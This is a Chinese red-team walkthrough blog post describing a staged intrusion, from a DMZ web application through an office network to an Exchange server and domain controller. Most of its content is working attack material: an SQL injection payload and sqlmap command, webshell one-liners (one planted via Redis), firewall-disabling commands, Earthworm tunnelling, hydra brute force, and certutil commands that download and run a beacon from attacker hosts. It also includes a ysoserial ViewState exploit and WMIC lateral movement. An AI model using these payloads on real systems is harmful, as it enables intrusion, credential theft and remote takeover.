红队攻防实战系列一之Cobalt Strike

他日若遂凌云志,敢笑黄巢不丈夫

本文首发于先知社区,原创作者即是本人

前言

在红队攻防中,需要我们拥有综合能力,不仅仅是web渗透的漏洞挖掘与利用,边界突破的方式有很多种,当然这需要我们拥有很强的意识,包括从web网站撕破口子,需要对各种漏洞的原理与利用了然于心,或者是通过社工钓鱼等方式,还需要我们拥有很强的代码功底,从代码的层面去分析问题,或者去写相关脚本进行利用,需要我们具有与杀软对抗的能力,需要我们熟悉web渗透,内网渗透,红队攻防的流程,进入内网之后,快速分析网络环境,以及自己所处的位置,找到拿到目标的最佳方法。

第一层 DMZ区

访问目标站点

在这里插入图片描述

端口扫描
nmap -sT xxx.xxx.xxx.xxx

在这里插入图片描述

目录扫描:

在这里插入图片描述

把它的备份文件下载到了本地,解压源码进行代码审计

代码审计拿密码

搜索请求类型:GET、POST、COOKIE、REQUST、SESSION
尽可能的找到一些关键点比如下面的“MYSQLBAKPASSWORD”

在这里插入图片描述

全局搜索这个关键点

在这里插入图片描述

d94354ac9cf3024f57409bd74eec6b4c使用MD5解密为:adminadminadmin

在这里插入图片描述

搜索关键点:密码
找到一个请求方法
“?action=mysqldatabak_down&pwd=您设置的数据库备份密码”

在这里插入图片描述

全局搜索这个方法名“mysqldatabak_down”

在这里插入图片描述

找到一个数据库备份下载的页面,尝试去访问
http://xxx.xxx.xxx/kss_admin/admin_data.php

在这里插入图片描述

却提示未知的方法请求,上面的说到找到了密码和一个请求方法,可以直接利用:
http://xxx.xxx.xxx/kss_admin/admin_data.php?action=mysqldatabak_down&pwd=adminadminadmin

在这里插入图片描述

访问后直接下载数据库备份文件,这时候就可以尝试找管理员账号密码进行登录。
检查配置文件是否存留本地
得到数据库备份文件后就自行导入数据库
启动phpstudy,打开MySQL_Front工具

在这里插入图片描述

新建数据库,输入SQL文件

在这里插入图片描述

注意字符集是UTF-8

在这里插入图片描述

找到管理员账号密码进行登录,这里可以找到解密后的密码

在这里插入图片描述

SQL注入拿密码

hackbar构造payload:

http://xxx.xxx.xxx/kss_inc/payapi_return2.php
v_oid=' or 1=1 #&v_pstatus=20&v_amount=1&v_moneytype=1&remark1=1&v_md5str=121212

v_oid存在布尔盲注,为真的时候返回订单金额不符

在这里插入图片描述

为假的时候返回,订单未找到

在这里插入图片描述

请求包如下:

POST /kss_inc/payapi_return2.php HTTP/1.1
Host: xxx.xxx.xxx
Content-Length: 71
Cache-Control: max-age=0
Origin: http://xxx.xxx.xxx
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: xxx.xxx.xxx
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://xxx.xxx.xxx/kss_inc/payapi_return2.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: xxx.xxx.xxx
Connection: closev_oid=*&v_pstatus=20&v_amount=1&v_moneytype=1&remark1=1&v_md5str=121212

保存成sql.txt

python3 sqlmap.py -r sql.txt --dbms mysql -v 1 -p v_oid --dump -C "username,password" -D "xxx" -T "kss_tb_manager" --batch

在这里插入图片描述

成功注入出账号和密码

代码审计拿shell

数据库备份邮箱拿shell

发现密码是存留在配置文件里的,那就反回去看配置文件是否可以利用

在这里插入图片描述

攻击地址:
http://xxx.xxx.xxx/
输入账号密码,登录后发现系统设置页面是/kss_inc/_config.php文件里的内容,是可以直接写入webshell

在这里插入图片描述

如:');@eval($_POST[a]);('

在这里插入图片描述

连接地址:

http://xxx.xxx.xxx/kss_inc/_config.php
http://xxx.xxx.xxx/kss_admin/index.php

密码:a

在这里插入图片描述

木马写入在

在这里插入图片描述

后台shell

构造payload:

http://x.x.x/kss_admin/admin_update.php?pakname=../test/kss_admin/index.php?action='<?php%2520eval($_POST[aye]);echo%2520"aye666"?>

漏洞利用

在这里插入图片描述

连接地址:
http://x.x.x/kss_tool/_webup.php
密码:aye

在这里插入图片描述

提权宝塔系统Bypass Disable Function

禁用函数
passthru,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,putenv,exec
既然“宝塔”禁用这么多函数,权限却是“system”,那就找找宝塔的配置文件、后台路径。
后台路径:C:/BtSoft/panel/panel/data/admin_path.pl
http://xxx.xxx.xxx:8888/e1VOsmtO/

在这里插入图片描述

密码:C:/BtSoft/panel/data/default.pl(初始默认密码)
jSKyFFdj

在这里插入图片描述

宝塔的登录端口C:/BtSoft/panel/data/port.pl

在这里插入图片描述

8888
登录账号:C:/BtSoft/panel/panel/data/default.db(账号和加密的密码)

在这里插入图片描述

然后通过把宝塔的 default.db 文件下载到本地打开,users 表里就是宝塔的登陆账号密码:
成功登录
在这里插入图片描述

成功登录

在这里插入图片描述

进入后台后可以考虑计划任务命令执行或者直接点,解封一个命令执行函数

在这里插入图片描述

成功执行命令

在这里插入图片描述

查看进程:tasklist

在这里插入图片描述

存在火绒

在这里插入图片描述

cs拿shell

打开CS,这是个服务器与客户端多对多架构的工具,先开服务端
./teamserver x.x.x admin
在Listeners面板中点击Add按钮,新建一个监听器,如图

在这里插入图片描述

生成Payload 这里使用Pakages生成一个Payload。在菜单栏中依次选择Attacks→Pakages→Payload Generator命令,如图

在这里插入图片描述

保持默认配置,选择已经创建的监听器,设置输出类型为powershell,注意勾选x64,然后点击Generate按钮, 如图

在这里插入图片描述

这里把ps1传到个人服务器做远程加载演示,服务器一定要能被访问到,上传后可访问,下一步,即执行powershell命令,可powershell行为特征也被火绒记录在册,可通过对部分命令进行修改,绕过火绒该防护,免杀部分会单独分享,此处只提供作为红队攻击成员如何实战。

在这里插入图片描述

成功绕过火绒的防护,cs成功上线

在这里插入图片描述

注入进程

在这里插入图片描述

进行信息收集

抓取到hash

在这里插入图片描述

通过解密得到了 administrator 的密码
查看防火墙(需要administrator权限)
shell netsh firewall show state
可以看到防火墙是开启的

!在这里插入图片描述

关闭防火墙
shell netsh advfirewall set allprofiles state off

在这里插入图片描述

打开3389端口

在这里插入图片描述

绕过火绒添加用户
蚂蚁剑或者cs上传添加用户的exe文件并运行

在这里插入图片描述

远程登陆

在这里插入图片描述

第二层 办公区

Earthworm穿透

上传EW(Earthworm)到C:/wwwroot/

在这里插入图片描述

服务器端执行以下命令(关掉目标站的防火墙代理才能生效)
execute C:\wwwroot\ew.exe -s ssocksd -l 1090

在这里插入图片描述

这里还需要修改proxychains.conf配置文件
$ vim /etc/proxychains.conf
socks5 x.x.x 1090

在这里插入图片描述

探测内网网段存活主机
proxychains nmap -sT -Pn -p 80 x.x.x.0/24

在这里插入图片描述

192.168.59.4是存活的,我们着重看一下,发现开了80和6379

Redis-getshell

kali环境进行爆破
proxychains hydra -P /usr/share/john/password.lst 192.168.59.4 redis 6379

在这里插入图片描述

连接redis
cd /redis-stable
proxychains src/redis-cli -h 192.168.59.4 -a xxxx

在这里插入图片描述

备份文件写Shell

192.168.59.4:6379>config set dir "C:\\inetpub\\wwwroot"   进入默认目录
192.168.59.4:6379>config set dbfilename "redis.asp"       创建文件
192.168.59.4:6379>set x "<%eval request(\"chopper\")%>"   写入webshell
192.168.59.4:6379>save                                    最后保存

利用过程

在这里插入图片描述

代理蚁剑进行连接这个shell

在这里插入图片描述

连接地址
http://192.168.59.4/redis.asp
密码
chopper
成功连接到server-redis

在这里插入图片描述

并查看权限

在这里插入图片描述

利用蚁剑把SweetPotato.exe(甜土豆)上传到C:/Redis/或者C:/ProgramData/目录下

在这里插入图片描述

成功进行提权

在这里插入图片描述

cs拿到shell

然后设置中转监听,这个监听IP要内网可以通信的内网IP,然后生成木马

在这里插入图片描述

对生成的exe文件进行免杀

在这里插入图片描述

先把木马通过蚂蚁剑上传到宝塔(需要进行免杀),火绒未告警

在这里插入图片描述

通过redis的shell进行操作,192.168.59.4远程下载192.168.59.133上的马

C:\ProgramData\xx.exe -i -c "certutil -urlcache -split -f http://192.168.59.133/beacon.exe beacon.exe

在这里插入图片描述

再通过提权工具进行执行

C:\ProgramData\xx.exe -i -c "beacon.exe"

在这里插入图片描述

此时查看cs,已成功上线

在这里插入图片描述

同样注入进程

进行信息收集

shell ipconfig

在这里插入图片描述

logonpasswords

在这里插入图片描述

查看防火墙(需要administrator权限)
shell netsh firewall show state
可以看到防火墙是开启的

在这里插入图片描述

关闭防火墙
shell netsh advfirewall set allprofiles state off

在这里插入图片描述

打开3389端口

在这里插入图片描述

挂代理,通过之前上传的EW(Earthworm)到C:/wwwroot/
Proxifier配置

在这里插入图片描述

可以通过redis的shell进行操作添加用户,也可以使用cs添加用户

远程登陆

在这里插入图片描述

第三层 核心区

通过蚂蚁剑将nbtscan.exe上传到第二层的Redis可读写目录下

在这里插入图片描述

探测内网段存活
nbtscan.exe 10.10.10.0/24

在这里插入图片描述

代理出网,拿下邮服

此时绘制出整个目标网络拓扑图如下:

在这里插入图片描述

将ew上传到bt和redis

在这里插入图片描述

首先,在VPS上开启如下监听,将1080端口监听的流量都转发到本地的888端口(关掉防火墙,要能够相互访问)
ew.exe -s lcx_listen -l 1080 -e 888

在这里插入图片描述

然后在服务器B上执行如下命令,监听本地的999端口
execute C:\ew.exe -s ssocksd -l 999

在这里插入图片描述

最后在服务器A上执行如下命令,将VPS的888端口和服务器B的999端口连接起来
execute C:\ew.exe -s lcx_slave -d x.x.x.x -e 888 -f 192.168.59.4 -g 999

在这里插入图片描述

以上命令都执行完之后,设置socks5代理为VPS的1080端口

在这里插入图片描述

即可成功访问目标的exchange服务。
https://10.10.10.209/owa/auth/logon.aspx?replaceCurrent=1&url=https%3a%2f%2f10.10.10.209%2fowa%2f%23authRedirect%3dtrue

在这里插入图片描述

对ex13进行攻击

nmap -sT 10.10.10.209 -p80,89,8000,9090,1433,1521,3306,5432,445,135,443,873,5984,6379,7001,7002,9200,9300,11211,27017,27018,50000,50070,50030,21,22,23,2601,3389

在这里插入图片描述

蚂蚁剑可通过更改代理进行连接

在这里插入图片描述

在 Redis 上的“C:\Users\Administrator\Documents\Outlook文件\”找到对应文件以及关键邮箱找到了 pts 文件:

在这里插入图片描述

下载到本地,通过将两个pst导入outlook可以看到exchange的一个账号密码

在这里插入图片描述

登陆成功,访问https://10.10.10.209/ecp/default.aspx
获取viewstateuserkey

在这里插入图片描述

__VIEWSTATEGENERATOR=B97B4E27

在这里插入图片描述

cs拿到shell

然后设置中转监听,这个监听IP要内网可以通信的内网IP,然后生成木马
将木马通过cs上传到redis服务器的redis目录下

在这里插入图片描述

使用exp执行payload:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd.exe /ccertutil -urlcache -split -f http://10.10.10.202/ex13.exe ex13.exe && ex13.exe" --validationalg="SHA1" --validationkey="CB2721xx89A25303BF" --generator="B97xxE27" --viewstateuserkey="80xxxce6f" --isdebug –islegacy

在这里插入图片描述

生成的payload,进行url编码

在这里插入图片描述

拼接成攻击的链接,反弹shell,得到Exchange服务器的System权限的会话

https://10.10.10.209/ecp/default.aspx?__VIEWSTATEGENERATOR=xxx&__VIEWSTATE=xxx

此时页面会返回500错误

在这里插入图片描述

查看cs,已上线

在这里插入图片描述

同样迁移进程
或者下载后门文件到exchange

第三层 域控

拿下域控

读取到本地有dc账号记录,那就可以直接用wmic横向操作一波
Mimikatz抓取到dc的账号密码

在这里插入图片描述

在server-ex机器上使用自带的WMIC.exe执行命令

shell C:\Windows\System32\wbem\WMIC.exe /node:10.10.10.201 /user:Administrator /password:xxx process call create "cmd /c certutil -urlcache -split -f http://10.10.10.202/ex13.exe ex13.exe && ex13.exe"

在这里插入图片描述

成功上线cs

在这里插入图片描述

同样迁移进程
同样添加用户
同样挂代理

远程登陆

在这里插入图片描述

总结

在红队攻防实战中,作为一名红队攻击成员,要做到从外网进行边界突破,进入内网,绕过层层杀软与防护,分析面临的情况与问题,最终拿下目标。

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:各家兴 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

CSDN:
https://blog.csdn.net/weixin_48899364?type=blog公众号:
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect博客:
https://rdyx0.github.io/先知社区:
https://xz.aliyun.com/u/37846SecIN:
https://www.sec-in.com/author/3097FreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85​```https://www.freebuf.com/author/国服最强渗透掌控者)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/216871.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Python进阶笔记】md文档笔记第6篇:Python进程和多线程使用(图文和代码)

本文从14大模块展示了python高级用的应用。分别有Linux命令&#xff0c;多任务编程、网络编程、Http协议和静态Web编程、htmlcss、JavaScript、jQuery、MySql数据库的各种用法、python的闭包和装饰器、mini-web框架、正则表达式等相关文章的详细讲述。 全套md格式笔记和代码自…

yolov5从英伟达平台移植到华为昇腾开发板上的思路

作者&#xff1a;朱金灿 来源&#xff1a;clever101的专栏 为什么大多数人学不会人工智能编程&#xff1f;>>> 最近需要将yolov5代码从英伟达平台移植到华为昇腾开发板上。搜了一些代码和资料&#xff0c;大致明白了二者的差别。 1.二者使用的模型文件不一样 yolov…

软件测试职业规划导图

公司开发的产品专业性较强&#xff0c;软件测试人员需要有很强的专业知识&#xff0c;现在软件测试人员发展出现了一种测试管理者不愿意看到的景象&#xff1a; 1、开发技术较强的软件测试人员转向了软件开发(非测试工具开发)&#xff1b; 2、业务能力较强的测试人员转向了软件…

MFC设置单选按钮点击自己可以可选和不可选

mfc是c的一个框架&#xff0c;可谓是经久不衰。最近博主遇到一个问题&#xff0c;就是单选按钮点击自己可以设置可选和不可选&#xff0c;貌似类似复选框一样&#xff0c;但领导分发的任务上要求的是用单选按钮实现复选框这种类似功能&#xff0c;实现效果类似如下图&#xff1…

TYPE-C、PD原理

一、Type-C简介以及历史 自1998年以来&#xff0c;USB发布至今&#xff0c;USB已经走过20个年头有余了。在这20年间&#xff0c;USB-IF组织发布N种接口状态&#xff0c;包括A口、B口、MINI-A、MINI-B、Micro-A、Micro-B等等接口形态&#xff0c;由于各家产品的喜好不同&#x…

城市数字孪生优秀案例集 - 城市治理类 - 深圳市城市交通数字孪生建设

一、背景意义 “十四五”规划、《数字交通发展规划纲要》、《广东省数字经济促进条例》等提出“构建城市数据资源 体系&#xff0c;推进城市数据大脑建设&#xff0c;探索建设数字孪生城市”。 当前&#xff0c;我国 9 亿城市化人口每天出行约 16 亿人 次&#xff0c;主要大城…

打破障碍:2024年赋能企业人工智慧生成创新-5个应用场景与6个转型步骤

想要了解如何采用生成式AI来提高企业效率和竞争力&#xff1f;本指南将介绍如何采用生成式AI来实现数字化转型&#xff0c;并打造智能化商业模式。从5大应用场景和6大步骤切入&#xff0c;让您了解如何开启生成式AI创新。立即连线创新专家咨询或观看创新战略方案视频进一步了解…

现代图标集wxArtProvider发布 —— 发布于2023年11月21日

Perazz发布了wxMaterialDesignArtProvider&#xff0c;这是一个自定义的wxArtProvider类&#xff0c;从MaterialDesign、SimpleIcons、FontAwesome和FluentUI系统数据集中提供基于SVG的图标。所有这些数据集都有许可证&#xff08;MIT、CC BY 4.0、CC0 1.0、Apache 2.0&#xf…

【Python自学】七个超强学习网站,你值得拥有!

学习Python最主要的还是要动手&#xff0c;去找一些自己感兴趣的脚本&#xff0c;代码去练习&#xff0c;练的越多&#xff0c;对于一些英语单词&#xff0c;特殊符号要比死记硬背要容易记得些。 以下这些网站&#xff0c;虽说不上全方位的满足你的需求&#xff0c;但是大部分也…

基于M估计样本一致性算法的点云平面拟合

平面拟合 1、算法简介2、参考文献3、实现效果4、相关代码 1、算法简介 RANSAC 是在给定模型和距离阈值 T T T的情况下&#xff0c;通过寻找最小代价 C C C来确定内点数据并拟合模型。如式&#xff08;1&#xff09;所示的代价函数&#xff0c;当点到模型的距离 e e e小于阈值 T…

RabbitMQ之MQ的可靠性

文章目录 前言一、数据持久化交换机持久化队列持久化消息持久化 二、LazyQueue控制台配置Lazy模式代码配置Lazy模式更新已有队列为lazy模式 总结 前言 消息到达MQ以后&#xff0c;如果MQ不能及时保存&#xff0c;也会导致消息丢失&#xff0c;所以MQ的可靠性也非常重要。 一、…

(4)BUUCTF-web-[极客大挑战 2019]EasySQL1

前言&#xff1a; 觉得这个题目挺有意义的&#xff0c;因为最近在学数据库&#xff0c;但是不知道在现实中有什么应用&#xff0c;所以学起来也没有什么兴趣&#xff0c;做了这个题目&#xff0c;发现数据库还是挺有用处的&#xff0c;哈哈 知识点&#xff1a; mysql 中and和…